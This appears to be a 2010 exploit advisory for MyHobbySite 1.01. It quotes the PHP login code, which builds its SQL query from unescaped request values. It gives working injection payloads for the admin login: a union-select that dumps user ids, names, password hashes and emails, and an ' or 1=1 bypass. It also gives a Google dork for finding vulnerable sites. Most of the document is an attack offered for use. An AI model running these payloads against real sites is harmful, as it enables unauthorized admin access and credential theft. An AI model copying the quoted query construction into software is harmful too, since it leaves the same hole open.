MyHobbySite 1.01 – SQL Injection / Authentication Bypass
######################################################################################### # Exploit Title: MyHobbySite 1.01 SQL injection, Bypass Authentication Vulnerability # Date: 12-09-2010 # Author: YuGj VN # Email: anhtuanittn.vn@gmail.com # Software Link: http://www.myhobbysite.net/index.php?page=15 # Version: v1.01 ######################################################################################### Bug Code: if (isset($_REQUEST['username']) and isset($_REQUEST['password'])) { // Get user info from the dataabse $_REQUEST['username'] = trim($_REQUEST['username']); $_REQUEST['password'] = trim($_REQUEST['password']); $usersettings = @mysql_query("SELECT * FROM " . $CONFIG['database_table_prefix'] . "users WHERE username='$_REQUEST[username]' AND password=md5('$_REQUEST[password]')"); $usersettings = mysql_fetch_array($usersettings); if ($usersettings) { $_SESSION['logged_in'] = TRUE; $_SESSION['userid'] = $usersettings['id']; $_SESSION['user'] = $usersettings['username']; $_SESSION['pass'] = $usersettings['password']; $_SESSION['email'] = $usersettings['email']; $_SESSION['permissions'] = $usersettings['permissions']; UpdateLogs($usersettings['username'] . " logged into the Admin CP."); } else { $failed_login = TRUE; } } ######################################################################################### Exploit: link exploit: http://domain.com/admin/ # Enter in username field: ' union select 1,concat_ws(0x3a,id,username,password,email),3,4,5 from mhs_users-- - # Enter in password field: ' union select 1,concat_ws(0x3a,id,username,password,email),3,4,5 from mhs_users-- - # or # Enter in username field: ' or 1=1-- - # Enter in password field: ' or 1=1-- - # # # We can exploit only when magic_quote_gpc = Off # Google dork: Powered by MyHobbySite 1.01 # # ######################################################################################### |